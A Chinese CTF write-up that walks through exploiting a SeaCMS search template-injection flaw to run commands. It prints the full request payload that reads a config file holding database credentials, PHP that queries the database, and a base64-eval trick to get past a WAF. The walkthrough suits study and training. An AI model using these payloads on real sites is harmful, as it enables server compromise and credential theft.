i春秋 “百度杯”CTF比赛 九月场 Test

https://www.ichunqiu.com/battalion?t=1&r=0

这道题还是蛮不错的,下面我来说一下解题思路

首先进入题目链接,然后搜索seacms相关漏洞,我直接使用了百度出来的第一条,freebuf上的一篇文章:
http://www.freebuf.com/vuls/150042.html

漏洞利用方式如下:
i春秋 “百度杯”CTF比赛 九月场 Test_第1张图片

我们把eval改成system,把9[]改成我们想要执行的命令,即可遍历网站的目录,我看了很多文件,最后在data目录下找到了common.inc.php文件,打开查看:payload如下

searchtype=5&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=ys{searchpage:letter}&letter=tem{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=cat ./data/common.inc.php

查看页面源代码:


//数据库连接信息
$cfg_dbhost = '127.0.0.1';
$cfg_dbname = 'seacms';
$cfg_dbuser = 'sea_user';
$cfg_dbpwd = '46e06533407e';
$cfg_dbprefix = 'sea_';
$cfg_db_language = 'utf8';
?>

然后我们使用eval执行php代码连接数据库:

$con=mysql_connect("127.0.0.1","sea_user","46e06533407e");
while($row=mysql_fetch_array(mysql_query("select database()")))
    var_dump($row);

得到数据库(其实上面的文件已经给出了。。。。。)

然后通过查询information_schema.tables获得数据库中的表,但是此时就会被拦截掉了,应该是360waf,因为之前遍历目录的时候看到了360safe目录

其实这个很容易解决,既然它是过滤字符串,那我们就把字符串编码,因为我们可以使用eval执行各种代码,当然也可以对自己进行编码之后的字符串再进行解码,只需在payload中再加一个eval

现在我们把如下代码使用base64进行加密,框架是这样的:

eval(base64_decode(""));

在里面放上自己编码后的字符串即可
查询代码框架如下:

$con=mysql_connect("127.0.0.1","sea_user","46e06533407e");
while($row=mysql_fetch_array(mysql_query("填写你的注入语句")))
    var_dump($row);

最后就能得到flag

你可能感兴趣的:(I春秋)